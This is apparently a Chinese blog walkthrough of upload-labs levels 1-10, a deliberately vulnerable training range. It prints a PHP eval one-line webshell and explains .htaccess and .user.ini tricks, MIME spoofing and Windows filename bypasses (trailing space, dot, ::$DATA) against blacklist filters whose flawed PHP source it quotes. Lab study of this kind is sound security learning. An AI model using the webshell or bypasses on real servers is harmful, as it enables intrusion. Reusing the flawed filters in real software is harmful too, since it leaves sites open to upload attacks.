前言:
本篇文章主要讲解upload-labs第1-10关,原因是前十关的代码过滤思路大体上是相似的,无非是每关缺少了某几个函数导致过滤不严谨造成漏洞,因此可以归为一起学习,从而熟悉文件上传中常用的过滤函数,了解代码的原理和设计的目的
文件上传漏洞
对于文件上传漏洞的简要概括就是
在执行文件上传操作时由于前端或者后端代码设计不严谨规范,以及服务器本身存在一些版本漏洞或者解析漏洞导致可以上传危险文件到服务器
一般是上传php文件,而文件内容多数为恶意代码,例如一句话木马,从而获取webshell
文件中一句话木马的形式如下,有时候还需要进行变形来绕过一些限制,不过前10关没有涉及到,就不赘述了,@是为了抑制错误信息的输出,更加隐蔽安全
<?php @eval($_POST['shell']);?>
验证上传是否成功
由于上传的文件内容几乎都是一句话木马,因此验证是否上传成功用上面语句中的参数(我这里是shell)传参看页面是否回显结果,或者用蚁剑连接验证都可以
upload-labs上传的文件会被默认保存到upload目录下,这是配置文件中设定的
我这里本机的文件上传路径为upload-labs/upload
当然还可以快捷的找到上传文件的路径,在上传文件成功之后,上传的图片会出现在页面中间,可以右键点击新建标签页打开图像,url就会访问文件,得到上传路径,包括上传目录和上传后的文件名
在这个url下可以POST传参验证上传是否成功,一般是传入phpinfo(); 回显相关页面的话就是成功
另一种验证方式就是通过蚁剑连接,像下图这样,填写完信息可以测试连接
成功就说明文件上传成功,失败的话可能就是上传失败或者url地址输错了或者连接密码与一句话木马中的参数不一致
各位可以看一下自己本机下的upload目录的具体路径,在上传文件时可以查看uoload目录下是否有新文件产生,以及上传成功的文件被修改后的格式
常见文件上传绕过方式
常见的文件上传绕过方式:
前端js代码绕过
后缀大小写绕过 其他php类型后缀绕过
文件MIME类型绕过
.htaccess 或者 .user.ini配置文件 配合 图片后缀的木马文件绕过
空格绕过 点绕过 ::$DATA绕过 (windows系统下适用)
%00截断绕过
图片马+文件包含
配合解析漏洞绕过
条件竞争
代码逻辑漏洞
关于burpsuite
很多操作会用到burpsuite抓包,大家最初抓包这个靶场的时候可能抓不到包,原因大概是:
bp中默认设置的代理是127.0.0.1:8080,它会监听本地回环地址 127.0.0.1 上的 8080 端口,会拦截监听从本机发出的请求,但是无法抓本地回环(地址为127.0.0.1)数据包
也就是用本机访问本地网址的请求是不会拦截的,所以这个文件上传靶场在自己本地环境(127.0.0.1)运行时就会抓不到请求数据包
解决方法就是把访问的靶场url地址中的127.0.0.1换成自己主机的其他ip地址
可以输入ipconfig查看
我的主机除了WLAN 之外,还有两个虚拟机网卡,这三个ip地址都可以替换127.0.0.1
步入正题:
PASS-01 (js前端绕过)
传入有一句话木马的php文件,发现弹出提示,不允许上传,这个弹窗提示是由前端实现的
也可以F12查看源代码或者右上角的显示源码证明是前端实现
所以是js前端代码验证,只允许上传jpg png gid后缀的文件,没有涉及到后端过滤
方法一 把php文件改为图片后缀上传,然后bp抓包修改后缀为php
把一句话木马文件改为jpg或者 png gif后缀,点击上传然后抓包,在burpsuite中再把jpg后缀改为php从而绕过前端限制
方法二 设置里禁用js 即可禁用checkfile()函数,然后不受限制上传php木马文件
PASS-02 (MIME类型绕过)
上传php文件,提示文件类型不正确
文件类型也就是MIME类型
数据包中的 Content-Type 就是MIME类型
抓包修改Content-Type 为图片类型 常见的 image/jpeg image/gif image/png 都可以
PASS-03 (其他php后缀绕过)
上传php木马文件,提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!
给出了黑名单,除此之外的后缀都可以上传
查看源码,代码中的这些函数在下面几关都会提到,这关提示比较明显,不太需要分析代码,后面几关会分析源码函数的作用
这里使用了strtolower() 函数把匹配的后缀转换成小写,因此不能把传入的php文件后缀进行大小写例如PHP pHp 等来绕过
可以利用其他后缀绕过 php3 php5 pht phtml 等等 这些后缀也可以被识别为php文件执行php代码
注意: 如果无法识别的话说明phpstduy配置文件http.conf 没有配置相关的信息,需要手动添加
phpstudy ->其他选项菜单 -> 打开配置文件 -> httpd-conf ctrl + F 搜索关键词 x-httpd-php
AddType application/x-httpd-php .php .phtml .php3 .php5 .pht
把上面的这些后缀添加进去,把前面的#去掉才会生效,然后重启一下phpstudy
PASS-04 (.htaccess配置文件绕过)
查看提示
这一关的代码和上一关的区别只是黑名单中的后缀变多了,其他代码是一样的,所以依然无法用大小写php后缀方式绕过,同时把一些可识别为php文件的后缀禁止了,所以无法直接上传php文件,但是可以间接实现
.htaccess文件是Apache服务中的一个配置文件,它负责相关目录下的网页配置
在文件上传的题目中 .htaccess 配置文件作用是用来解析执行非php文件中的php代码
文件上传-配置文件 (.htaccess和.user.ini)-CSDN博客文章浏览阅读278次,点赞7次,收藏10次。文件上传-配置文件 (.htaccess和.user.ini)https://blog.csdn.net/weixin_73904941/article/details/142797421?spm=1001.2014.3001.5501我这篇文章中有关于文件上传中配置文件的作用,可以参考一下
创建一个文件,名字为.htaccess 写入下面的代码
<FilesMatch "muma.jpg"> //上传的文件名
SetHandler application/x-httpd-php
</FilesMatch>
意思是,对于名为 muma.jpg 的文件,Apache 将其作为一个 PHP 脚本来处理,当做PHP代码执行
当一些情况下代码对上传文件的后缀进行限制,而又没有禁止htaccess,就可以把一句话木马文件后缀修改为jpg png gif 等图片文件的后缀再上传,然后上传.htaccess文件(这里上传的顺序是无所谓的),即可不上传php后缀文件又能执行php代码
所以配合.htaccess文件就可以绕过题目过滤的一些后缀名
这一关就可以把一句话木马文件名改为muma.jpg 先绕过上传的后缀限制,然后上传.htaccess文件,就可以执行muma.jpg中的php代码,完成绕过
然后url访问muma.jpg 或者 蚁剑连接验证
PASS-05 (.user.ini配置文件绕过)
提示 上传目录存在php文件(readme.php)
这一关的代码依然和第三关差不多,也是只增加了黑名单中的后缀名,只是这一关.htaccess也被禁止
结合提示就可以想到使用.user.ini配置文件,上一关提到的链接文章中也讲了.user.ini文件的作用
文件上传-配置文件 (.htaccess和.user.ini)-CSDN博客
.user.ini配置文件的使用需要在.user.ini文件所属的目录下存在.php 文件才能利用这个php文件包含文件执行php代码
在upload文件夹下存在readme.php文件,因此可以利用.user.ini
创建一个文件名为 .user.ini 内容为
auto_prepend_file=muma.jpg
或者
auto_append_file=muma.jpg
muma.jpg 就是一句话木马文件,只是后缀改为了jpg
上传muma.jpg文件和.user.ini文件到upload目录下之后访问readme.php就可以执行muma.jpg中的php代码
注意:服务器启用了 fastcgi 模式才可以让.user.ini文件生效 phpstudy中切换成 nts 模式即可
然后访问http://127.0.0.1/upload-labs/upload/readme.php 传参执行命令验证 或者蚁剑连接
PASS-06 (后缀大小写绕过)
前面几关结合提示或者稍微看一下代码中的黑名单就能找到漏洞得出解法,不太需要分析代码,后面几关就需要分析源码来完成解题了
源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
黑名单把.htaccess 和 .ini 后缀都禁止了,观察代码
trim()函数
移除字符串两侧的空白字符或其他预定义字符,当第二个参数保持默认时去除的字符为:
" "空格 \t 制表符 \n换行符 \r回车符 \0空字节符 \x0B垂直制表符
$_FILES['upload_file']['name'] 指的是上传的文件名
$_FILES是一个数组 'upload_file'是上传表单中设置的name属性的值
后面的name是$_FILES数组固定的参数,name表示上传文件名,tmp_name表示上传文件的路径
因此$_FILES['upload_file']['tmp_name'] 就表示上传的文件的临时保存路径
deldot()函数
是一个自定义函数,即从字符串的尾部开始,从后向前删除点号(.) 直到该字符串的末尾字符不是点号(.)为止,遇到空格也会停止
strrchr()函数
在给定的字符串中查找指定字符,并将最后一次查找到的字符及其后面的字符串返回,如果没有在该字符串中查找到$needle,则返回false
注:
如果第二个参数不是单个字符,则只使用该字符串的第一个字符进行查找匹配
如果第二个参数是一个数值,则将该数值转换为对应的ASCII码进行匹配
所以如果正常传入一个文件例如muma.php 经过前面函数的处理,$file_ext的值就是.php
就会匹配黑名单,这里没有使用strtolower()函数把得到的后缀名$file_ext统一转换为小写
而php对大小写不敏感,黑名单中也只禁止了pHp,所以把后缀php改为PHP Php pHP 都可以绕过
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
使用了data函数和rand随机函数拼接文件名,所以上传之后文件名字改变了并且是随机的
PASS-07 (空格绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
观察代码可以发现在获取到上传的文件名之后第一个函数是deldot
deldot函数从字符串的尾部开始,从后向前删除点号(.) 直到该字符串的末尾字符不是点号(.)为止,遇到空格也会停止
重点就是遇到空格也会停止删除 而这一关最开始并没有使用 trim 函数来移除字符串两侧的空白字符或其他预定义字符,因此把文件后缀php改为 php(空格) 即可绕过
在windows下系统会自动去除文件末尾的空格,因此需要抓包在burpsuite中修改
修改后黑名单匹配不到.php(空格) 上传之后系统会自动删除文件末尾的空格,就可以访问正常的文件名
PASS-08 (点绕过)
提示 本pass禁止上传所有可以解析的后缀!
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
看过前两关的代码就可以看出,使用trim函数去除空格等空白字符之后直接使用strrchr函数截取后缀名,缺少了deldot函数,少了一步去除文件末尾多余的点号(.)环节
在windows中系统会自动去除文件末尾多余的点号
因此可以点绕过,依然需要抓包修改,不然系统就自动删除了
上传木马文件,后缀改为.php. 例如muma.php. 经过trim函数处理之后还是muma.php. 然后strrchr函数截取最后一个'.'一直到最后的字符串,结果就是单独的一个点号 . 就会绕过黑名单,成功上传后系统自动删除多余的点号,后缀又变成php,最后正常访问文件即可
PASS-09 (::$DATA绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码中没有缺少trim deldot strtolower 函数,因此前面几关的方法无法使用,但是发现缺少了
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
在windows中如果文件名后面添加 "::$DATA" 系统会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名
也就是说,系统会自动忽略掉文件的后缀名从而绕过检测,然后上传后保存的文件名是::$DATA之前的文件名
上传木马文件 依然需要抓包在bp中修改 后缀改为 .php::$DATA
PASS-10 (点+空格+点 绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这一关的代码把前几关出现漏洞的函数都补全了,无法使用之前的方法绕过,看起来比较严谨
但是代码依然存在漏洞,其实从第3关到第10关的代码存在一个相同的漏洞,只是前面几关都单独缺少了某些函数导致其他漏洞被放大了,所以没有细说
观察这段代码,第3-10关的代码对文件的过滤操作基本上都是这个流程,无非缺少某一函数
去除文件两侧空白字符 去除文件末尾多余的点号 后缀统一转换为小写 去除::$DATA 再次去空
发现代码在截取文件后缀名之前只使用了一次trim函数和deldot函数 用来去除文件两侧空白字符
和末尾多余的点号
如果传入的文件名为muma.php. . 第一个trim函数就不起作用,然后deldot函数去掉末尾的最后一个点,继续向前遇到空格就会停止,此时$file_name的值就是muma.php.(空格)
strrchr函数根据最后一个点号 . 截取到的结果就是.(空格)
经过代码中最后的trim()函数去掉获取的后缀的空白字符变成点号. 就绕过了黑名单限制
$img_path = UPLOAD_PATH.'/'.$file_name; 是最终文件上传后的路径,$file_name就是muma.php.(空格)
上传之后windows会自动删除末尾的点和空格,最后变成muma.php,完成上传绕过
如果穿入的文件后缀只是.php . 这样去掉点号之后获取的是.php(空格) 代码最后的trim函数去掉空格结果为.php会被黑名单匹配
第3-10关都可以用点+空格+点 方式绕过,因为这些关的代码在获取文件名后缀之前都只使用了一次trim函数和deldot函数,当传入的文件名后缀构造出.php. .格式时,就会出现漏洞被绕过
标签:10,name,文件,upload,pass1,ext,file,php,上传 From: https://blog.csdn.net/weixin_73904941/article/details/142790534